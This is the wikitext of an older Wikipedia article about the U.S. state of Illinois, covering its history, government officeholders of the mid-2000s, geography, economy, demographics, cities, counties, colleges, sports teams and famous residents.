  Latitude        = 36°58'N to 42°30'N |
  Longitude       = 87°30'W to 91°30'W |
  Width           = 340 |
  Length          = 629 |
  HighestElev     = 376 |
  MeanElev        = 182 |
  LowestElev      = 85 |
  ISOCode         = US-IL |
  Website         = www.illinois.gov
}}
'''Illinois''' ([[IPA chart for English|pronounced]] {{IPA|[ˌɪ.lɨˈnɔɪ̯]}} or &quot;ill-i-NOY&quot;) was the [[U.S. state|21st state]] to join the [[United States]], located in the former [[Northwest Territory]].  Its name was given by the state's [[France|French explorers]] after the indigenous [[Illiniwek]] people, a [[consortium]] of [[Algonquian]] tribes that thrived in the area. The word ''Illiniwek'' means simply the &quot;men,&quot; i.e. &quot;people.&quot;

The [[capital]] of Illinois is [[Springfield, Illinois|Springfield]], while its largest city is [[Chicago, Illinois|Chicago]]. The U.S. postal abbreviation for the state is '''IL'''.

The [[USS Illinois|USS ''Illinois'']] was named in honor of this state.

== History ==
{{main|History of Illinois}}

===Pre-[[Christopher Colombus|Columbian]]===
[[Cahokia]], the urban center of the pre-Columbian [[Mississippian culture]], was located near present-day [[Collinsville, Illinois]].  That civilization vanished circa 1400&amp;ndash;1500 for unknown reasons.  The next major power in the region was the [[Illiniwek]] Confederation or Illini, a political alliance among several tribes.  The Illiniwek gave Illinois its name.  The Illini suffered in the seventeenth century as [[Iroquois]] expansion forced them to compete with several tribes for land.  The Illini were replaced in Illinois by the [[Potawatomi]], [[Miami_tribe|Miami]], [[Sauk]], and other tribes.

===European exploration===
[[France|French]] explorers [[Jacques Marquette]], [[Society of Jesus|S.J.]], and [[Louis Joliet]] explored the [[Illinois River]] in 1673.  As a result of their exploration, Illinois was part of the French empire until 1763, when it passed to the [[United Kingdom|British]] as a result of the [[French and Indian War]].  [[George Rogers Clark]] claimed the [[Illinois Country]] for the [[Virginia|Commonwealth of Virginia]] during his military campaigns there in 1778.  The area was ceded to the new United States in 1783 and became part of the [[Northwest Territory]].

===The 1800s===
The [[Illinois-Wabash Company]] was an early claimant to much of Illinois.  The [[Illinois Territory]] was created on [[February 3]], [[1809]]. In 1818, Illinois became the 21st U.S. state.  Early U.S. settlement began in the south part of the state and quickly spread northward, driving out the native residents.  With the 1832 [[Black Hawk War]], the last native tribes were driven out of northern Illinois.

The winter of 1830-1831 is called the &quot;[[Winter of the Deep Snow]]&quot;. A sudden, deep snowfall blanketed the state, making travel impossible for the rest of the winter. Travelers lucky enough to find shelter had to stay where they were. Many others perished. Several severe winters followed, including the &quot;[[Winter of the Sudden Freeze]]&quot;. On [[December 20]], [[1836]], a fast-moving cold front passed through, freezing puddles in minutes, killing many travelers who could not reach shelter. The adverse weather resulted in crop failures in the northern part of the state. The southern part of the state shipped food north and this may have contributed to its name: &quot;[[Little Egypt|Egypt]]&quot;, after the [[Biblical]] story of Joseph in Egypt supplying grain to his brothers.

As early as [[1840]], Illinois was called the &quot;[[Sucker State]]&quot;. 

Illinois is known as the &quot;Land of [[Abraham Lincoln|Lincoln]]&quot; because it is here that the 16th [[President of the United States|President]] spent most of his life, practicing law and living in [[Springfield, Illinois|Springfield]]. 

Even so, Illinois was not a strong anti-slavery state.  In 1853 Illinois passed a Black Code which, among other things required any black entering the state and staying more than ten days to pay a fine of $50. If he could not pay, the black could be sold into slavery for a period commensurate with the fine. {{further|[[Black Codes in Northern USA]]}}

[[Chicago, Illinois|Chicago]] gained prominence as a [[Great Lakes]] port and then as a [[canal]] port after 1848, and as a rail hub soon afterward. By 1857, Chicago was Illinois' largest city. {{further|[[History of Chicago]]}}

===The Civil War===
{{main|Illinois in the Civil War}}

During the [[United States Civil War|Civil War]], over 250,000 Illinois men served in the [[Union Army]], more than any other northern state except [[New York]], [[Pennsylvania]] and [[Ohio]]. Beginning with President Lincoln's first call for troops and continuing throughout the war, Illinois mustered 150 infantry regiments, which were numbered from the 7th IL to the 156th IL. Seventeen cavalry regiments were also gathered, as well as two light artillery regiments.

==Government==
[[Image:Ilolluds.jpg|thumb|right|The sample version of the current [[Illinois]] [[license plate]] introduced in 2001.]]
{{main|Government of Illinois}}

The state government of Illinois is modeled after the federal government with adaptations originating from traditions cultivated during the state's frontier era.  As codified in the state constitution, there are three branches of government: executive, legislative and judicial.  The executive branch is led by the [[Governor of Illinois]].  Legislative functions are given to the [[Illinois General Assembly]], composed of the 118-member [[Illinois State House of Representatives]] and the 59-member [[Illinois State Senate]].  The judiciary is comprised of the [[state supreme court]], which oversees the lower [[court of appeals|appellate court]]s and [[circuit court]]s.

*The '''[[Governor of Illinois]]''' is [[Rod Blagojevich]] ([[Democratic Party (United States)|Democrat]])
*The '''[[Lieutenant Governor of Illinois]]''' is [[Pat Quinn (politician)|Pat Quinn]] ([[Democratic Party (United States)|Democrat]])
*The '''[[Illinois Attorney General|Attorney General of Illinois]]''' is [[Lisa Madigan]] ([[Democratic Party (United States)|Democrat]])
*The '''[[Secretary of State of Illinois]]''' is [[Jesse White (politician)|Jesse White]] ([[Democratic Party (United States)|Democrat]])
*The '''[[Comptroller of Illinois]]''' is [[Daniel Hynes]] ([[Democratic Party (United States)|Democrat]])
*The '''[[Treasurer of Illinois]]''' is [[Judy Baar Topinka]] ([[Republican Party (United States)|Republican]])
*The '''Senior [[United States Senate|United States Senator]]''' is [[Richard J. Durbin]] ([[Democratic Party (United States)|Democrat]])
*The '''Junior [[United States Senate|United States Senator]]''' is [[Barack Obama]] ([[Democratic Party (United States)|Democrat]])

Illinois was always a major battleground between the [[Republican Party (United States)|Republican Party]] and the [[Democratic Party (United States)|Democratic Party ]]. Since 1992 it has moved steadily more Democratic at the national and state level. Illinois voted for Democratic presidential candidates in the last four elections. John Kerry easily won the state's 21 electoral votes in 2004 by a margin of 11 percentage points with 54.8% of the vote.  Traditionally the central cities were Democratic, especially [[Chicago, Illinois|Chicago]] and [[East Saint Louis, Illinois|East Saint Louis]]. The suburbs of Chicago were historically Republican, but GOP margins have been plunging there, causing the overall shift to the Democrats. Small cities and towns are Republican strongholds (except for the old coal mining towns). Rural districts in the northern third of the state have historically been Republican; those in the middle third mixed, and those in [[Little Egypt (region)|Little Egypt]] (the southern third of the state), Democratic.

== Geography ==
[[Image:National-atlas-illinois.png|thumb|300px|right|Illinois, showing major cities and roads]]
{{main|Geography of Illinois}}

Illinois is in the north-central U.S. and borders on [[Lake Michigan]].  Surrounding states are [[Wisconsin]] to the north, [[Iowa]] and [[Missouri]] to the west, [[Kentucky]] to the south, and [[Indiana]] to the east. Illinois also borders Michigan, but only via a water boundary in Lake Michigan.

Illinois has three major geographical divisions. The first is [[Chicagoland]], including the city of [[Chicago, Illinois|Chicago]], its suburbs, and the adjoining exurban area into which the metropolis is expanding. This region includes a few counties in Indiana and Wisconsin and stretches across much of northern Illinois toward the Iowa border, generally along Interstates [[Interstate 80|80]] and [[Interstate 90|90]]. This region is cosmopolitan, densely populated, industrialized, and settled by a variety of ethnic groups.  

Southward and westward, the second major division is central Illinois, an area of mostly flat [[prairie]].  Known as the Land of [[Abraham Lincoln|Lincoln]] or the Heart of Illinois, it is characterized by small towns and mid-sized cities.  Agriculture, particularly [[maize|corn]] and [[soybeans]], figures prominently.  Major cities include famously average [[Peoria, Illinois|Peoria]], [[Springfield, Illinois|Springfield]] (the state capital), [[Decatur, Illinois|Decatur]], [[Bloomington-Normal]] and [[Champaign, Illinois|Champaign]]-[[Urbana, Illinois|Urbana]] (home of the [[University of Illinois at Urbana-Champaign|University of Illinois]]).  

The third division is southern Illinois, comprising the area south of [[U.S. Route 50]], and including [[Little Egypt (region)|Little Egypt]]), near the juncture of the [[Mississippi River]] and [[Ohio River]].  This region can be distinguished from the other two by its warmer climate, different mix of crops (including some [[cotton]] farming in the past), more rugged  topography (unglaciated and older, Illinoian Age, glaciated), as well as small-scale oil deposits and [[coal]] mining.  The area is a little more populated than the central part of the state with the population centered in two areas: the Greater St. Louis Metropolitan Area (the Illinois suburbs of St. Louis are known as &quot;[[Metro-East]]&quot;) and the Carbondale, Marion, West Frankfort, Herrin, Murphysboro, Carterville, Johnston City area which is home to a little over 180,000 residents.  

Collectively, all of Illinois outside the Chicago Metropolitan area is called &quot;downstate Illinois&quot; (even though a portion is  north or west of Chicago)

[[McLean County, Illinois|McLean County]] is the largest county in terms of land area, at 1,184 sq mi. it is larger than [[Rhode Island]], while [[Cook County, Illinois|Cook County]] is the largest county in terms of population, at 5,327,777 (both figures are as of 2004).

In extreme northwestern Illinois the [[Driftless Zone]], a region of unglaciated and therefore higher and more rugged topography, occupies a small part of the state.  [[Charles Mound]], located in this region, is the state's highest natural elevation above [[sea level]].  The highest true elevation in Illinois is the [[Sears Tower]] with an elevation at the top of its roof of approximately 2,030 feet (the elevation of Chicago is approximately 580 feet and the height of the roof is approximately 1450 feet). On a clear day, you can see four states - Illinois, Indiana, Wisconsin and Michigan. Visibility from the Sears Tower Skydeck is approximately 40-50 miles (65 - 80 km).

The floodplain on the Mississippi River from [[Alton, Illinois|Alton]] to the [[Kaskaskia River]] is the [[American Bottom]], and is the site of the ancient city of [[Cahokia]], and was a region of early French settlement, as well as the site of the first state capital, at [[Kaskaskia, Illinois|Kaskaskia]].

The southern tip of Illinois is in the [[Gulf Coastal Plain]].

== Economy ==
[[Image:Illinoisquarter2003 geraldfarinas.PNG|left|Illinois Quarter]]
{{main|Economy of Illinois}}

The 2004 total [[gross state product]] for Illinois was $528 billion, placing it 5&lt;sup&gt;th&lt;/sup&gt; in the nation. The 2003 per capita income was $32,965.

Illinois' agricultural outputs are [[maize|corn]], [[soybean]]s, [[hog]]s, [[cattle]], dairy products, and [[wheat]]. Its industrial outputs are machinery, food processing, electrical equipment, chemical products, publishing, fabricated metal products, transportation equipment, [[petroleum]] and [[coal]].

== Demographics ==
{| class=&quot;toccolours&quot; align=&quot;right&quot; cellpadding=&quot;4&quot; cellspacing=&quot;0&quot; style=&quot;margin:0 0 1em 1em; font-size: 95%; clear:right;&quot;
|-
! colspan=2 bgcolor=&quot;#ccccff&quot; align=&quot;center&quot;| Historical populations
|-
! align=&quot;center&quot;| Census&lt;br&gt;year !! align=&quot;right&quot;| Population
|-
| colspan=2|&lt;hr&gt;
|-
| align=&quot;center&quot;| 1800 || align=&quot;right&quot;| 2,458
|-
| align=&quot;center&quot;| 1810 || align=&quot;right&quot;| 12,282
|-
| align=&quot;center&quot;| 1820 || align=&quot;right&quot;| 55,211
|-
| align=&quot;center&quot;| 1830 || align=&quot;right&quot;| 157,445
|-
| align=&quot;center&quot;| 1840 || align=&quot;right&quot;| 476,183
|-
| align=&quot;center&quot;| 1850 || align=&quot;right&quot;| 851,470
|-
| align=&quot;center&quot;| 1860 || align=&quot;right&quot;| 1,711,951
|-
| align=&quot;center&quot;| 1870 || align=&quot;right&quot;| 2,539,891
|-
| align=&quot;center&quot;| 1880 || align=&quot;right&quot;| 3,077,871
|-
| align=&quot;center&quot;| 1890 || align=&quot;right&quot;| 3,826,352
|-
| align=&quot;center&quot;| 1900 || align=&quot;right&quot;| 4,821,550
|-
| align=&quot;center&quot;| 1910 || align=&quot;right&quot;| 5,638,591
|-
| align=&quot;center&quot;| 1920 || align=&quot;right&quot;| 6,485,280
|-
| align=&quot;center&quot;| 1930 || align=&quot;right&quot;| 7,630,654
|-
| align=&quot;center&quot;| 1940 || align=&quot;right&quot;| 7,897,241
|-
| align=&quot;center&quot;| 1950 || align=&quot;right&quot;| 8,712,176
|-
| align=&quot;center&quot;| 1960 || align=&quot;right&quot;| 10,081,158
|-
| align=&quot;center&quot;| 1970 || align=&quot;right&quot;| 11,113,976
|-
| align=&quot;center&quot;| 1980 || align=&quot;right&quot;| 11,426,518
|-
| align=&quot;center&quot;| 1990 || align=&quot;right&quot;| 11,430,602
|-
| align=&quot;center&quot;| [[United States 2000 Census|2000]] || align=&quot;right&quot;| 12,419,293
|}
As of 2005, Illinois has an estimated population of 12,763,371, which is an increase of 51,355, or 0.4%, from the prior year and an increase of 343,724, or 2.8%, since the year 2000.  This includes a natural increase since the last census of 406,425 people (that is 959,470 births minus 553,045 deaths) and a decrease due to net migration of 63,011 people out of the state.  Immigration from outside the United States resulted in a net increase of 328,020 people, and migration within the country produced a net loss of 391,031 people.

As of 2004 there were 1,682,900 foreign-born (13.3%).

At the northern edge of the state on Lake Michigan lies Chicago, the nation's third largest city. In 2000, 23.3% of the population lived in the city of Chicago, 43.3% in Cook County and 65.6% in Illinois's part of [[Chicagoland]], the leading industrial and transportation center in the region, which includes Will, DuPage, Kane, and Lake Counties as well as Cook County. The rest of the population lives in the smaller cities and in the rural areas that dot the state's plains.

The racial makeup of the state is as follows:
*67.8% [[Whites|White]]
*15.9% [[Blacks|Black]]
*12.3% [[Hispanics|Hispanic]]
*3.4% [[Asian American|Asian]]
*0.2% [[Native American (U.S. Census)|Native American]]
*1.9% [[Mixed Race]]

The top five ancestry groups in Illinois are: [[German-American|German]] (19.6%), [[African American]] (15.1%), [[Ireland|Irish]] (12.2%), [[Mexico|Mexican]] (9.2%), and [[Polish-American|Polish]] (7.5%)
Nearly three in ten whites in Illinois claimed at least partial German ancestry on the Census, making the Germans the largest ancestry group in the state. Blacks are present in large numbers in the city of Chicago, East St. Louis, and the southern tip of the state. Residents of American and British ancestry are especially concentrated in the southeastern part of the state. Metropolitan Chicago has the greatest numbers of people of Irish, Mexican, and Polish ancestry.

7.1% of Illinois' population were reported as under 5, 26.1% under 18, and 12.1% were 65 or older. Females made up approximately 51% of the population.

===Religion===
Protestants are the largest religious group in Illinois, however unlike the other Midwestern states, Illinois is not overwhelmingly Protestant (less than half of the people identify themselves as such). Roman Catholics, who are heavily concentrated in and around Chicago, account for 30% of the population.

The religious affiliations of the people of Illinois are:
*[[Christianity|Christian]] &amp;ndash; 80%
**[[Protestantism|Protestant]] &amp;ndash; 49%
***[[Baptist]] &amp;ndash; 12%
***[[Lutheranism|Lutheran]] &amp;ndash; 7%
***[[Methodism|Methodist]] &amp;ndash; 7%
***[[Presbyterianism|Presbyterian]] &amp;ndash; 3%
***Other Protestant or general Protestant &amp;ndash; 20%
**[[Roman Catholicism in the United States|Roman Catholic]] &amp;ndash; 30%
**Other Christian &amp;ndash; 1%
*Other religions &amp;ndash; 4%
*Non-religious &amp;ndash; 16%

== Important cities and towns ==
[[Image:Chitown jc01.jpg|300px|thumb|right|Chicago]]
{{main|List of towns and villages in Illinois}}

{| border=&quot;0&quot; style=&quot;font-size: small;&quot;
|valign=&quot;top&quot;|
Population over 1,000,000:
*[[Chicago, Illinois|Chicago]]

Population 100,000 to 1,000,000:
*[[Aurora, Illinois|Aurora]]
*[[Joliet, Illinois|Joliet]]
*[[Naperville, Illinois|Naperville]]
*[[Peoria, Illinois|Peoria]]
*[[Rockford, Illinois|Rockford]]
*[[Springfield, Illinois|Springfield]] (state capital)
|valign=&quot;top&quot; rowspan=2|
Important suburbs of Chicago:
*[[Addison, Illinois|Addison]]
*[[Arlington Heights, Illinois|Arlington Heights]]
*[[Aurora, Illinois|Aurora]]
*[[Berkeley, Illinois|Berkeley]]
*[[Berwyn, Illinois|Berwyn]]
*[[Bolingbrook, Illinois|Bolingbrook]]
*[[Buffalo Grove, Illinois|Buffalo Grove]]
*[[Calumet City, Illinois|Calumet City]]
*[[Carol Stream, Illinois|Carol Stream]]
*[[Carpentersville, Illinois|Carpentersville]]
*[[Cicero, Illinois|Cicero]]
*[[Crystal Lake, Illinois|Crystal Lake]]
*[[Des Plaines, Illinois|Des Plaines]]
*[[Downers Grove, Illinois|Downers Grove]]
*[[Elgin, Illinois|Elgin]]
*[[Elk Grove Village, Illinois|Elk Grove Village]]
*[[Elmhurst, Illinois|Elmhurst]]
*[[Evanston, Illinois|Evanston]]
*[[Geneva, Illinois|Geneva]]
*[[Glendale Heights, Illinois|Glendale Heights]]
*[[Glen Ellyn, Illinois|Glen Ellyn]]
*[[Glenview, Illinois|Glenview]]
*[[Highland Park, Illinois|Highland Park]]
*[[Hoffman Estates, Illinois|Hoffman Estates]]
*[[Joliet, Illinois|Joliet]]
*[[La Grange, Illinois|La Grange]]
*[[Lemont, Illinois|Lemont]]
*[[Mount Prospect, Illinois|Mount Prospect]]
*[[Naperville, Illinois|Naperville]]
*[[Northbrook, Illinois|Northbrook]]
*[[Oak Lawn, Illinois|Oak Lawn]]
*[[Oak Park, Illinois|Oak Park]]
*[[Orland Park, Illinois|Orland Park]]
*[[Oswego, Illinois|Oswego]]
*[[Palatine, Illinois|Palatine]]
*[[Park Ridge, Illinois|Park Ridge]]
*[[Schaumburg, Illinois|Schaumburg]]
*[[Skokie, Illinois|Skokie]]
*[[St. Charles, Illinois|St. Charles]]
*[[Tinley Park, Illinois|Tinley Park]]
*[[Waukegan, Illinois|Waukegan]]
*[[Western Springs, Illinois|Western Springs]]
*[[Wheaton, Illinois|Wheaton]]
*[[Wheeling, Illinois|Wheeling]]

of [[St. Louis, Missouri|St. Louis]]:
*[[Belleville, Illinois|Belleville]]
*[[Collinsville, Illinois|Collinsville]]
*[[East St. Louis, Illinois|East Saint Louis]]
*[[Edwardsville, Illinois|Edwardsville]]
*[[Granite City, Illinois|Granite City]]
*[[O'Fallon, Illinois|O'Fallon]]

of [[Rockford, Illinois|Rockford]]:
*[[Loves Park, Illinois|Loves Park]]
*[[Machesney Park, Illinois|Machesney Park]]

of [[Peoria, Illinois|Peoria]]:
*[[East Peoria, Illinois|East Peoria]]
*[[Morton, Illinois|Morton]]
*[[Pekin, Illinois|Pekin]]
*[[Washington, Illinois|Washington]]
|-
|valign=&quot;top&quot;|
Population 10,000 to 100,000:
*[[Champaign, Illinois|Champaign]]
*[[Urbana, Illinois|Urbana]]
*[[Bloomington, Illinois|Bloomington]]
*[[Normal, Illinois|Normal]]
*[[East Moline, Illinois|East Moline]]
*[[Moline, Illinois|Moline]]
*[[Rock Island, Illinois|Rock Island]]
*[[Decatur, Illinois|Decatur]]
*[[Alton, Illinois|Alton]]
*[[Bellwood, Illinois|Bellwood]]
*[[Kankakee, Illinois|Kankakee]]
*[[DeKalb, Illinois|DeKalb]]
*[[Danville, Illinois|Danville]]
*[[Quincy, Illinois|Quincy]]
*[[Galesburg, Illinois|Galesburg]]
*[[Sterling, Illinois|Sterling]]
*[[Peru, Illinois|Peru]]
*[[Freeport, Illinois|Freeport]]
*[[Carbondale, Illinois|Carbondale]]
*[[Jacksonville, Illinois|Jacksonville]]
*[[Charleston, Illinois|Charleston]]
*[[Centralia, Illinois|Centralia]]
*[[Plainfield, Illinois|Plainfield]]
*[[Ottawa, Illinois|Ottawa]]
*[[Woodstock, Illinois|Woodstock]]
*[[Woodridge, Illinois|Woodridge]]
*[[Herrin, Illinois|Herrin]]
*[[Mattoon, Illinois|Mattoon]]
*[[Macomb, Illinois|Macomb]]
*[[Streator, Illinois|Streator]]
*[[Lincoln, Illinois|Lincoln]]
*[[Dixon, Illinois|Dixon]]
*[[Mount Vernon, Illinois|Mount Vernon]]
*[[Marion, Illinois|Marion]]
*[[West Frankfort, Illinois|West Frankfort]]
*[[Canton, Illinois|Canton]]
*[[Rantoul, Illinois|Rantoul]]
*[[Effingham, Illinois|Effingham]]
*[[Taylorville, Illinois|Taylorville]]
*[[Morris, Illinois|Morris]]
*[[Murphysboro, Illinois|Murphysboro]]
*[[Kewanee, Illinois|Kewanee]]
*[[Sandwich, Illinois|Sandwich]]
*[[Pontiac, Illinois|Pontiac]]
*[[Harrisburg, Illinois|Harrisburg]]
*[[Braidwood, Illinois|Braidwood]]
*[[Monmouth, Illinois|Monmouth]]
|}

== Counties of Illinois ==
{{see also|List of Illinois counties}}

{| border=&quot;0&quot; style=&quot;font-size: small;&quot;
|valign=&quot;top&quot;|

* [[Adams County, Illinois|Adams]]
*[[Alexander County, Illinois|Alexander]]
*[[Bond County, Illinois|Bond]]
*[[Boone County, Illinois|Boone]]
*[[Brown County, Illinois|Brown]]
*[[Bureau County, Illinois|Bureau]]
*[[Calhoun County, Illinois|Calhoun]]
*[[Carroll County, Illinois|Carroll]]
*[[Cass County, Illinois|Cass]]
*[[Champaign County, Illinois|Champaign]]
*[[Christian County, Illinois|Christian]]
*[[Clark County, Illinois|Clark]]
* [[Clay County, Illinois|Clay]]
* [[Clinton County, Illinois|Clinton]]
* [[Coles County, Illinois|Coles]]
* [[Cook County, Illinois|Cook]]
* [[Crawford County, Illinois|Crawford]]
* [[Cumberland County, Illinois|Cumberland]]
* [[DeKalb County, Illinois|DeKalb]]
* [[De Witt County, Illinois|De Witt]]
* [[Douglas County, Illinois|Douglas]]

|valign=&quot;top&quot;|

* [[Du Page County, Illinois|Du Page]]
* [[Edgar County, Illinois|Edgar]]
* [[Edwards County, Illinois|Edwards]]
* [[Effingham County, Illinois|Effingham]]
* [[Fayette County, Illinois|Fayette]]
* [[Ford County, Illinois|Ford]]
* [[Franklin County, Illinois|Franklin]]
* [[Fulton County, Illinois|Fulton]]
* [[Gallatin County, Illinois|Gallatin]]
* [[Greene County, Illinois|Greene]]
* [[Grundy County, Illinois|Grundy]]
* [[Hamilton County, Illinois|Hamilton]]
* [[Hancock County, Illinois|Hancock]]
* [[Hardin County, Illinois|Hardin]]
* [[Henderson County, Illinois|Henderson]]
* [[Henry County, Illinois|Henry]]
* [[Iroquois County, Illinois|Iroquois]]
* [[Jackson County, Illinois|Jackson]]
* [[Jasper County, Illinois|Jasper]]
* [[Jefferson County, Illinois|Jefferson]]
* [[Jersey County, Illinois|Jersey]]

|valign=&quot;top&quot;|

* [[Jo Daviess County, Illinois|Jo Daviess]]
* [[Johnson County, Illinois|Johnson]]
* [[Kane County, Illinois|Kane]]
* [[Kankakee County, Illinois|Kankakee]]
* [[Kendall County, Illinois|Kendall]]
* [[Knox County, Illinois|Knox]]
* [[Lake County, Illinois|Lake]]
* [[La Salle County, Illinois|La Salle]]
* [[Lawrence County, Illinois|Lawrence]]
* [[Lee County, Illinois|Lee]]
* [[Livingston County, Illinois|Livingston]]
* [[Logan County, Illinois|Logan]]
* [[McDonough County, Illinois|McDonough]]
* [[McHenry County, Illinois|McHenry]]
* [[McLean County, Illinois|McLean]]
* [[Macon County, Illinois|Macon]]
* [[Macoupin County, Illinois|Macoupin]]
* [[Madison County, Illinois|Madison]]
* [[Marion County, Illinois|Marion]]
* [[Marshall County, Illinois|Marshall]]

|valign=&quot;top&quot;|

* [[Mason County, Illinois|Mason]]
* [[Massac County, Illinois|Massac]]
* [[Menard County, Illinois|Menard]]
* [[Mercer County, Illinois|Mercer]]
* [[Monroe County, Illinois|Monroe]]
* [[Montgomery County, Illinois|Montgomery]]
* [[Morgan County, Illinois|Morgan]]
* [[Moultrie County, Illinois|Moultrie]]
* [[Ogle County, Illinois|Ogle]]
* [[Peoria County, Illinois|Peoria]]
* [[Perry County, Illinois|Perry]]
* [[Piatt County, Illinois|Piatt]]
* [[Pike County, Illinois|Pike]]
* [[Pope County, Illinois|Pope]]
* [[Pulaski County, Illinois|Pulaski]]
* [[Putnam County, Illinois|Putnam]]
* [[Randolph County, Illinois|Randolph]]
* [[Richland County, Illinois|Richland]]
* [[Rock Island County, Illinois|Rock Island]]
* [[St. Clair County, Illinois|St. Clair]]

|valign=&quot;top&quot;|

* [[Saline County, Illinois|Saline]]
* [[Sangamon County, Illinois|Sangamon]]
* [[Schuyler County, Illinois|Schuyler]]
* [[Scott County, Illinois|Scott]]
* [[Shelby County, Illinois|Shelby]]
* [[Stark County, Illinois|Stark]]
* [[Stephenson County, Illinois|Stephenson]]
* [[Tazewell County, Illinois|Tazewell]]
* [[Union County, Illinois|Union]] 
* [[Vermilion County, Illinois|Vermilion]]
* [[Wabash County, Illinois|Wabash]]
* [[Warren County, Illinois|Warren]]
* [[Washington County, Illinois|Washington]]
* [[Wayne County, Illinois|Wayne]]
* [[White County, Illinois|White]]
* [[Whiteside County, Illinois|Whiteside]]
* [[Will County, Illinois|Will]]
* [[Williamson County, Illinois|Williamson]]
* [[Winnebago County, Illinois|Winnebago]]
* [[Woodford County, Illinois|Woodford]]
|}

Name origins can be found at [[List of Illinois county name etymologies]].

== Education ==

===Illinois State Board of Education===

The Illinois State Board of Education or ISBE, autonomous of the governor and the state legislature, administers [[public education]] in the state.  Local municipalities and their respective [[school district]]s operate individual public schools but the ISBE audits performance of public schools with an [[Illinois School Report Card|annual school report card]].  The ISBE also makes recommendations to state leaders concerning education spending and policies.

There is current debate as to the role of the ISBE and whether or not its autonomous relationship with the governor and the state legislature is appropriate.  In 2002, the Office of the Governor proposed the creation of a monolithic statewide department of education to replace the ISBE.  However, direct control of the new department would fall under the state governor's jurisdiction.  The structure would mimic the system employed by the [[Hawaii State Department of Education]], which has no local school districts.  Opponents to the proposal argue that local communities would lose control over what their children would learn in public schools and the means by which those public schools operate.

===Primary and secondary schools===
{{see also|List of school districts in Illinois|List of high schools in Illinois}}

Education is compulsory from [[kindergarten]] through the twelfth grade in Illinois, commonly but not exclusively divided into three tiers of [[primary education|primary]] and [[secondary education]]: [[elementary school]], [[middle school]] or [[junior high school]] and [[high school]].  District territories are often complex in structure.  In some cases, elementary, middle and junior high schools of a single district feed into high schools in another district.

===Colleges and universities===

While many students enter the military or join the workforce directly from high school, students have the option of applying to [[college]]s and [[university|universities]] in Illinois.  Notable Illinois institutions of [[higher education]] include [[Northwestern University]], [[University of Chicago]] and the several branches of the [[University of Illinois]]. Illinois is also home to 49 colleges in the [[Illinois community college system]].

====List of colleges and universities====
{| border=&quot;0&quot;
|valign=&quot;top&quot;|
*[[Augustana College]]
*[[Aurora University]]
*[[Barat College]]
*[[Benedictine University]]
*[[Blackburn College]]
*[[Bradley University]]
*[[The Chicago School of Professional Psychology]]
*[[Chicago State University]]
*[[City Colleges of Chicago]] 
**[[Richard J. Daley College]]
**[[Harold Washington College]]
**[[Kennedy-King College]]
**[[Malcolm X College]]
**[[Olive-Harvey College]]
**[[Harry S Truman College]]
**[[Wilbur Wright College]]
*[[College of DuPage]]
*[[Columbia College Chicago]]
*[[Concordia University, River Forest]]
*[[DePaul University]]
*[[DeVry University, DuPage]]
*[[Dominican University]]
*[[East-West University]]
*[[Eastern Illinois University]]
*[[Elgin Community College]]
*[[Elmhurst College]]
*[[Erikson Institute]]
*[[Eureka College]]
*[[Governors State University]]
*[[Greenville College]]
*[[Illinois College]]
*[[Illinois Institute of Technology]]
*[[Illinois State University]]
*[[Illinois Wesleyan University]]
*[[John Wood Community College]]
*[[Joliet Junior College]]
*[[Judson College]]
*[[Kendall College]]
*[[Knox College]]
*[[Lake Forest College]]
*[[Lakeview College of Nursing]]
*[[Lake Land College]]
*[[Lewis University]]
*[[Lincoln Christian College and Seminary]]
*[[Lincoln College, Illinois|Lincoln College]]
*[[Loyola University Chicago]]
*[[Lutheran School of Theology at Chicago]]
|valign=&quot;top&quot;|
*[[McKendree College]]
*[[MacMurray College]]
*[[Midwestern University]]
*[[Millikin University]]
*[[Monmouth College]]
*[[Moody Bible Institute]]
*[[National University of Health Sciences]]
*[[National-Louis University]]
*[[North Central College]]
*[[North Park College and Theological Seminary]]
*[[Northeastern Illinois University]]
*[[Northern Illinois University]]
*[[Northwestern University]]
*[[Olivet Nazarene University]]
*[[Principia College]]
*[[Quincy University]]
*[[Rend Lake College]]
*[[Robert Morris College]]
*[[Rockford College]]
*[[Roosevelt University]]
*[[Rush University]]
*[[Saint Anthony College of Nursing]]
*[[St. Xavier University]]
*[[School of the Art Institute of Chicago]]
*[[Shimer College]]
*[[Southern Illinois University System]]
**[[Southern Illinois University Carbondale]]
**[[Southern Illinois University Edwardsville]]
*[[South Suburban College of Cook County]]
*[[Spertus Institute of Jewish Studies]]
*[[Trinity Christian College]]
*[[Trinity International University]]
*[[Triton College]]
*[[University of Chicago]]
*[[University of Illinois System]]
**[[University of Illinois at Chicago]]
**[[University of Illinois at Springfield]]
**[[University of Illinois at Urbana-Champaign]]
*[[University of Saint Francis (Illinois)|University of Saint Francis]]
*[[Waubonsee Community College]]
*[[Western Illinois University]]
*[[Wheaton College, Illinois|Wheaton College]]
*[[William Rainey Harper College]]
|}

== Professional sports teams ==
{| border=&quot;0&quot;
|valign=&quot;top&quot;|
*[[Major League Baseball]]:
**[[Chicago Cubs]]
**[[Chicago White Sox]]
*[[minor league baseball|Minor League baseball]]:
**[[Peoria Chiefs]]
**[[Kane County Cougars]]
**[[Gateway Grizzlies]]
**[[Rockford RiverHawks]]
**[[Schaumburg Flyers]]
**[[Windy City ThunderBolts]]
|valign=&quot;top&quot;|
*[[Arena Football League]]
**[[Chicago Rush]]
*[[Major League Soccer]]
**[[Chicago Fire (soccer)|Chicago Fire]]
*[[National Basketball Association]]
**[[Chicago Bulls]]
*[[National Football League]]
**[[Chicago Bears]]
*[[National Hockey League]]
**[[Chicago Blackhawks]]
*[[Women's National Basketball Association]]
**[[Chicago Sky]]
|}

==Famous Residents==
[[Image:wiki_illinois.jpg|thumb|350px|Greetings from Illinois]]

*[[John Belushi]], early member of [[The Second City]]; raised in [[Wheaton, Illinois]]
*[[Ray Bradbury]], science-fiction and fantasy author; born in [[Waukegan, Illinois]]
*[[Miles Davis]], pioneering jazz artist; born in [[Alton, Illinois]] and raised in [[East Saint Louis, Illinois]]
*[[Harrison Ford]], famous actor; born in Chicago and raised in [[Park Ridge, Illinois]]
*[[Hillary Rodham Clinton]], former First Lady and current US senator from NY; born and raised in [[Park Ridge, Illinois]]
*[[Donald Rumsfeld]], current U.S. Secretary of Defense; born and raised in [[Evanston, Illinois]]
*[[Mike Krzyzewski]], coach of the [[Duke University]] men's [[basketball]] team; born in [[Chicago]]
*[[Charlton Heston]], famous actor and [[NRA]] spokesman; born, raised, and attended college in the suburbs of Chicago
*[[Abraham Lincoln]], the 16th President, is buried in [[Springfield, Illinois]]
